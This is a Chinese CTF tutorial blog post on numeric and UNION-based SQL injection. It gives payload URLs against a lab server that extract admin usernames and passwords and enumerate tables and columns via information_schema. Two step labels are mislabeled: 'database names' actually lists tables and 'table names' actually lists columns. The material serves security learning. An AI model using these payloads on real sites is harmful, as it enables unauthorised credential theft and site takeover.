CTFer成长之路-SQL注入-数字型注入和UNION注入
一:数字型注入和UNION注入
mysql的语法参考:
https://blog.csdn.net/weixin_40022980/article/details/82740860
本节的目标是通过HTTP的GET方式输入的id值,将本应查询新闻表的功能转变成查询admin(通常为管理员)的账号和密码(密码通常是hash值,这里为了演示变为明文this_is_the_admin_password)。管理员的账号和密码是一个网站系统最重要的凭据,入侵者可以通过它登录网站后台,从而控制整个网站内容。
下面复原注入攻击流程
第一步:
访问链接http://192.168.20.133/sql1.php?id=2,和http://192.168.20.133/sql1.php?id=3-1,可以看到页面仍显示id=2的记录。这个现象说明,MySQL对“3-1”表达式进行了计算并得到结果为2,然后查询了id=2的记录。
第二步:
第一种方法:http://192.168.20.133/sql1.php?id=1 union select user,pwd from wp_user limit 1,1(空格用%20替换)
第二种方法:http://192.168.20.133/sql1.php?id=-1 union select user,pwd from wp_user
个人建议用第二种方法拿到数据库数据
刚才的例子是因为我们已经知道了数据库结构,那么在测试情况下,如何知道数据表的字段名pwd和表名wp_user呢?
MySQL 5.0版本后,默认自带一个数据库information_schema,MySQL的所有数据库名、表名、字段名都可以从中查询到。
1.查询数据库名
http://192.168.20.133/sql1.php?id=-1
union
select 1,group_concat(table_name)
from information_schema.tables where table_schema=database()
2.查询表名
http://192.168.20.133/sql1.php?id=-1
union
select 1,group_concat(column_name)
from information_schema.columns where table_name='wp_user'
————————————————
原文链接:
https://blog.csdn.net/aa2528877987/article/details/118550133